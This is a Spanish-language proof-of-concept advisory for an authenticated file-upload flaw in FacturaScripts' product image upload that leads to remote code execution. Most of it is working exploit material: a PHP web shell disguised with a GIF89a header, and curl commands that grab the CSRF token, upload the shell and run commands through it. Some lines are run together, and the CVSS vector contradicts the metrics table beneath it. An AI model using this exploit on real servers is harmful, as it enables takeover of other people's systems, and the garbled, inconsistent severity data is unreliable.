
FacturaScripts RCE Exploit - Prueba de Concepto
Existe una vulnerabilidad de carga de archivos sin restricciones autenticada en la funcionalidad de carga de imágenes de productos de FacturaScripts. Un atacante con credenciales válidas puede cargar un archivo PHP disfrazado como imagen GIF (usando una cabecera GIF89a), evadiendo la validación del tipo MIME. El archivo se almacena con su extensión original, incluyendo extensiones ejecutables como .php.
La vulnerabilidad existe en:
Core/Lib/ExtendedController/ProductImagesTrait.php
Específicamente en el método addImageAction().
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/"image/gif.php en un directorio accesible desde la webLos archivos cargados se almacenan en:
/MyFiles/YYYY/MM/X.php
Donde X es un ID autoincremental. Esto permite la ejecución remota directa:
http://target/MyFiles/2026/03/2.php?cmd=id
La explotación exitosa permite:
Un atacante puede cargar archivos con extensiones ejecutables (por ejemplo, .php) al servidor, lo que dependiendo de la configuración del servidor podría conducir a una explotación adicional.
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSID de las cookies del navegadorcurl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Puntuación Base: 6.3 (Moderada)
| Métrica | Valor |
|---|---|
| Vector de Ataque | Red (AV:N) |
| Complejidad de Ataque | Baja (AC:L) |
| Privilegios Requeridos | Bajos (PR:L) |
| Interacción del Usuario | Ninguna (UI:N) |
| Alcance | Cambiado (S:C) |
| Confidencialidad | Alta (C:H) |
| Integridad | Alta (I:H) |
| Disponibilidad | Alta (A:H) |
| Campo | Valor |
|---|---|
| Ecosistema | Packagist |
| ID CVE | CVE-2026-42879 |
| Nombre del Paquete | facturascripts/facturascripts |
| Versiones Afectadas | <= 2025.81 |
| Versiones Parcheadas | Aún no parcheado |
| Corregido en | Pendiente |
.php, .phtml, .phar u otras extensiones ejecutables, independientemente del tipo MIMEgetClientOriginalName(); asignar un nombre seguro basado en UUID con una extensión validadafileinfo en lugar de confiar en el MIME proporcionado por el cliente